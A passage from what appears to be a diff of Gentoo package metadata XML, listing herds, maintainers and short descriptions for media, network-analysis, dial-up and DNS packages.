+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/beast">
+<herd>gnome</herd>
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/beep-media-player">
+<herd>no-herd</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/cdmp3">
+<herd>no-herd</herd>
+<longdescription>
+cdmp3 uses cdparanoia or cdda2wav to extract single tracks or even a
+whole CD and converts them on-the-fly into MP3 or Ogg Vorbis files.
+Using the CDDB database it is possible to include information like the
+artist's name or the track's title into the file name or as meta tags
+into the file content.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/easytag">
+<herd>sound</herd>
+<longdescription>a utility for viewing and editing tags for MP3, MP2, FLAC
+and OGG files. It features a simple and attractive GTK+
+interface</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/edna">
+<herd>sound</herd>
+<maintainer>
+  <email>nerdboy@gentoo.org</email>
+</maintainer>
+<longdescription>
+  Edna is Greg Stein's http streaming audio server for mp3 and ogg files.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/eplayer">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+eVorbisPlayer is an OggVorbis audio player which requires the Xiph Ogg 
+Suite of libraries
+
+Q: Why another damned audio player?
+A: -&gt; The purpose of eVorbisPlayer has always been to be used as a 
+vehicle by which to better
+learn the EFL componants.  And audio player was choosen because it's 
+interesting, the OggVorbis
+API is very simple and can easily drawn on Ecore's strengths (ie: idlers 
+and timers) and provides
+a number of interesting interface possibilities.  The intension has 
+never been, and probly
+never will be, to build a robust, functional and flexable audio player.  
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/ermixer">
+<herd>qt</herd>
+<maintainer>
+  <email>brain@gentoo.org</email>
+</maintainer>  
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/esound">
+<herd>gnome</herd>
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/freqtweak">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/gini">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/gnomeradio">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/gqradio">
+<herd>no-herd</herd>
+<maintainer>
+  <email>weeve@gentoo.org</email>
+  <name>Jason Wever</name>
+</maintainer>
+<longdescription>
+  GQradio interfaces with radio cards through the video4linux API. Stations can
+  be tuned manually, set to presets, or auto seek can find the next available
+  frequency. The application supports theming (skins), and includes a built-in
+  skin editor. Skin formats are similar to GQmpeg.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/jack-audio-connection-kit">
+<herd>sound</herd>
+<maintainer>
+  <email>tigger@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/jack">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/juk">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/kradio">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/krecord">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/lilypond">
+  <herd>no-herd</herd>
+  <maintainer>
+	<email>agriffis@gentoo.org</email>
+	<name>Aron Griffis</name>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/mixxx">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/moc">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/mpc">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/mpd">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/ogmtools">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/orpheus">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/protux">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/qjackctl">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/quark">
+<herd>sound</herd>
+<maintainer>
+	<email>tseng@gentoo.org</email>
+	<name>Brandon Hale</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/rezound">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/rhythmbox">
+<herd>gnome</herd>
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/rplay">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+ rplay is a flexible network audio system that allows sounds to be played to and from local and remote Unix systems. Sounds can be played with or without sending audio data over the network using either UDP or TCP. rplay audio servers can be configured to share sound files with each other.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/sidplay">
+<herd>no-herd</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/sound-juicer">
+<herd>gnome</herd>
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/spiralmodular">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/takcd">
+<herd>sound</herd>
+<maintainer>
+	<email>seemant@gentoo.org</email>
+	<name>Seemant Kulleen</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/terminatorx">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/vkeybd">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/vorbis-tools">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  <name>Gentoo Sound Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/waif">
+<herd>sound</herd>
+<maintainer>
+	<email>seemant@gentoo.org</email>
+	<name>Seemant Kulleen</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/wavbreaker">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/wavesurfer">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/xmms">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/xmmsd">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/yammi">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/yconsole">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+ <longdescription>
+YConsole allows you to monitor and control 
+the Y server in a GUI environment, using the GTK+ toolkit. 
+YConsole also features a set of windows including the YAudio 
+window, YMixer window, and YPlayer window which allow you to 
+control all aspects of the Y server. The YPlayer window allows 
+you to play sound objects and control the audio CD.
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/freevo">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/linuxtv-dvb">
+<herd>no-herd</herd>
+<maintainer><email>lordvan@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/mythfrontend">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/mythtv">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/nuppelvideo">
+<herd>video</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+<description>Just made the initial commit - if you want it, you can have it.</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/nvrec">
+<herd>media-tv</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/nvtv">
+<herd>no-herd</herd>
+<maintainer>
+  <email>blauwers@gentoo.org</email>
+  <name>Bart Lauwers</name>
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+ <longdescription>TV-Out for NVidia cards</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/nxtvepg">
+<herd>media-tv</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/rivatv">
+<herd>video</herd>
+<maintainer>
+  <email>blauwers@gentoo.org</email>
+  <name>Bart Lauwers</name>
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<!-- <longdescription>Long description of the package</longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/tvtime">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/vcr">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/xawdecode">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/xawtv">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/xmltv">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-tv/zapping">
+<herd>media-tv</herd>
+<maintainer>
+<email>media-tv@gentoo.org</email>
+<name>Television related Applications in Gentoo's Portage</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/acidrip">
+<herd>video</herd>
+<maintainer>
+  <email>media-video@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/ati-drivers">
+<herd>xfree</herd>
+<maintainer>
+  <email>lu_zero@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/ati-gatos">
+<herd>xfree</herd>
+<maintainer>
+  <email>lu_zero@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/avidemux">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/avifile">
+<herd>video</herd>
+<maintainer><email>mholzer@gentoo.org</email></maintainer>
+<maintainer><email>max@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/binkplayer">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/came">
+<herd>video</herd>
+<maintainer>
+  <email>media-video@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/camsource">
+<herd>media-video</herd>
+<maintainer>
+  <email>zhen@gentoo.org</email>
+  <name>John Davis</name>
+  <description>Full time maintainer, please post all bugs to me.</description>
+</maintainer>
+<longdescription>camsource is a utility specializing in webcams</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/camstream">
+<herd>video</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/drip">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/dvdauthor">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/dvdbackup">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/dvdrip">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/dxr2-driver">
+<herd>no-herd</herd>
+<maintainer><email>chouser@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/ffmpeg">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/gst-player">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/gsubedit">
+<herd>video</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/kaffeine">
+<herd>sound</herd>
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/kmplayer">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/linuxvideostudio">
+<herd>video</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+  <description>Committed ebuild on user request, don't have the right hardware for testing. Free for adoption.</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/lives">
+<herd>video</herd>
+<maintainer>
+  <email>lu_zero@gentoo.org</email>
+<!--  <name>Full name</name> -->
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<!-- <longdescription>Long description of the package</longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/lumiere">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/mjpegtools">
+<herd>video</herd>
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/mkvtoolnix">
+<herd>video</herd>
+<maintainer>
+<email>media-video@gentoo.org</email>
+<name>media-video herd</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/motioneye">
+<herd>video</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+  <description>Committed ebuild on user request, don't have the right hardware for testing. Free for adoption.</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/mpeg4ip">
+<herd>no-herd</herd>
+<maintainer>
+  <email>tester@gentoo.org</email>
+    <name>Olivier Cr&#xEA;te</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/mplayer">
+<herd>video</herd>
+<maintainer>
+  <email>media-video@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/mtxdrivers">
+<herd>xfree</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/nvclock">
+	<maintainer>
+		<email>malverian@gentoo.org</email>
+		<name>Philip Walls</name>
+	</maintainer>
+
+	<longdescription>A utility for overclocking NVidia based video cards</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/nvidia-glx">
+<herd>xfree</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/nvidia-kernel">
+<herd>xfree</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/ogle">
+<herd>media-video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/qc-usb">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/qce-ga">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/quickrip">
+<herd>python</herd>
+<herd>qt</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/realone">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/realplayer">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/totem">
+<herd>gnome</herd>                                                                                
+<longdescription>
+Totem is movie player for the GNOME desktop. It features a playlist, fullscreen mode, seek and volume controls, as well as a pretty complete keyboard navigation. It comes with added functionality such as a video thumbnailer for Nautilus, Nautilus properties tab and a webcam utility.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/transcode">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/vcdimager">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/vlc">
+  <herd>media-video</herd>
+  <maintainer>
+    <email>raker@gentoo.org</email>
+    <name>Nick Hadaway</name>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/vobcopy">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-video/xine-ui">
+<herd>video</herd>
+<maintainer>
+  <email>media-video@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/aimsniff">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zhen@gentoo.org</email>
+  <name>John Davis</name>
+  <description>Full time maintainer, please post all bugs to me.</description>
+</maintainer>
+<longdescription>aimsniff is a utility used for retrieving and storing AIM messages across a network.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/amap">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>iggy@gentoo.org</email>
+    <name>Brian Jackson</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    Network analyzer, allows detection of services running even on non-standard ports
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/arpwatch">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/barnyard">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>mboman@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription>Unified alert/log spool reader and output handler for Snort! This program decouples output overhead from the Snort network intrusion detection system and allows Snort to run at full speed.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/bing">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/cnet">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rizzo@gentoo.org</email>
+  <name>Don Seiler</name>
+</maintainer>
+<longdescription>The cnet network simulator enables experimentation with various data-link layer, network layer, routing and transport layer networking protocols in networks consisting of any combination of point-to-point links and IEEE 802.3 Ethernet segments.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/darkstat">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/fragroute">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/hping">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/iftop">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/net-snmp">
+<herd>no-herd</herd>
+<maintainer><email>max@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/netspeed_applet">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/netwatch">
+<herd>no-herd</herd>
+<maintainer>
+  <email>genone@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/nikto">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/piwi">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>mboman@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription>(Prelude|Perl) IDS Web Interface</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/prelude-nagios">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>solar@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/prelude-nessus">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+  <description>Just committed it, no special interest. Free for adoption.</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/prelude-nids">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>mboman@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/siphon">
+<herd>noherd</herd>
+<maintainer>
+    <email>port001@gentoo.org</email>
+    <name>Ian Leitch</name>
+</maintainer>
+<longdescription>
+The Siphon Project is a portable passive network mapping suite.
+In the latest public version, Siphon passively maps TCP ports
+and performs passive operating system detection.
+Through the magic of RFC ambiguity and programmer uniqueness, different
+machines exhibit telltale characteristics that enable Siphon to make a fairly
+accurate guess at what operating system is running on machines sending packets
+out over the wire. The beauty of this method is that our tool does not need
+to send out a slew of non-RFC compliant packets that trip intrusion detection
+systems. In fact, we send out no packets at all. Whereas nmap crashes some
+machines and network hardware when performing its active OS detection tests,
+Siphon would never crash remote machines. This tool could be used on active
+production networks to detect that a Linux machine suddenly appeared in your
+all Sun shop. As a side note, if used in conjunction with firewalling arp on
+the machine you run Siphon from, it will be difficult to detect.
+Siphon is available for UNIX and Win32. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/snort">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>mboman@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+<longdescription>Snort is a lightweight network intrusion detection system, capable of performing real-time traffic analysis and packet logging on IP networks. It can perform protocol analysis, content searching/matching and can be used to detect a variety of attacks and probes, such as buffer overflows, stealth port scans, CGI attacks, SMB probes, OS fingerprinting attempts, and much more. Snort uses a flexible rule based language to describe traffic that it should collect or pass, and a modular detection engine. Snort has a real-time alerting capability, with alert mechanisms for syslog, a user specified file, or a UNIX socket.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/sussen">
+<herd>gnome</herd>
+<maintainer>
+  <email>gnome@gentoo.org</email>
+</maintainer>
+<longdescription>Sussen is a GTK+2 and GNOME client for the Nessus security scanning system. It includes support for database backends (via the libgnomedb library), session support, and a policy manager to select the types of security checks a user would like to perform.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/tcpslice">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>mboman@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+<longdescription>Tcpslice is a program for extracting portions of packet-trace files generated using tcpdump's -w flag. It can also be used to glue together pcap dump files.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/tptest">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-analyzer/ucd-snmp">
+<herd>no-herd</herd>
+<maintainer><email>max@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/bpalogin">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/capi4k-utils">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/capisuite">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/cistronradius">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/dial">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/diald">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/dwun">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/fbgetty">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/fcpci">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/freeradius">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/gcdial">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/globespan-adsl">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/gmasqdialer">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/gnokii">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/gtkterm">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/hcfpcimodem">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/hcfusbmodem">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/hsflinmodem">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/isdn4k-utils">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/kmasqdialer">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/kpnadsl4linux">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/l2tpd">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/linux-atm">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/ltmodem">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/mclient">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/mgetty">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/mingetty">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/minicom">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/mserver">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/penggy">
+<herd>no-herd</herd>
+<maintainer>
+  <email>dberkholz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/ppp">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/pppconfig">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/pppoed">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/pptp-php-gtk">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/pptpclient">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/pptpd">
+<herd>no-herd</herd>
+<maintainer>
+  <email>jhhudso@gentoo.org</email>
+  <name>Jared Hudson</name>
+  <description>Interim maintainer</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/qtwvdialer">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/rp-l2tp">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/rp-pppoe">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/rppppoek">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/slmodem">
+<herd>no-herd</herd>
+<maintainer>
+<email>dberkholz@gentoo.org</email>
+<name>Donnie Berkholz</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/speedtouch">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/wvdial">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dialup/xc">
+<herd>net-dialup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/bind-tools">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>blkdeath@gentoo.org</email>
+    <name>Stewart Honsberger</name>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/bind">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>blkdeath@gentoo.org</email>
+    <name>Stewart Honsberger</name>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/ddclient">
+<herd>no-herd</herd>
+<maintainer>
+	<email>matthewsmith@iinet.net.au</email>
+	<name>Matthew Smith</name>
+	<description>Indirectly maintaining through seemant@gentoo.org</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/dnsmasq">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/dnsquery">
+<herd>no-herd</herd>
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+</maintainer>
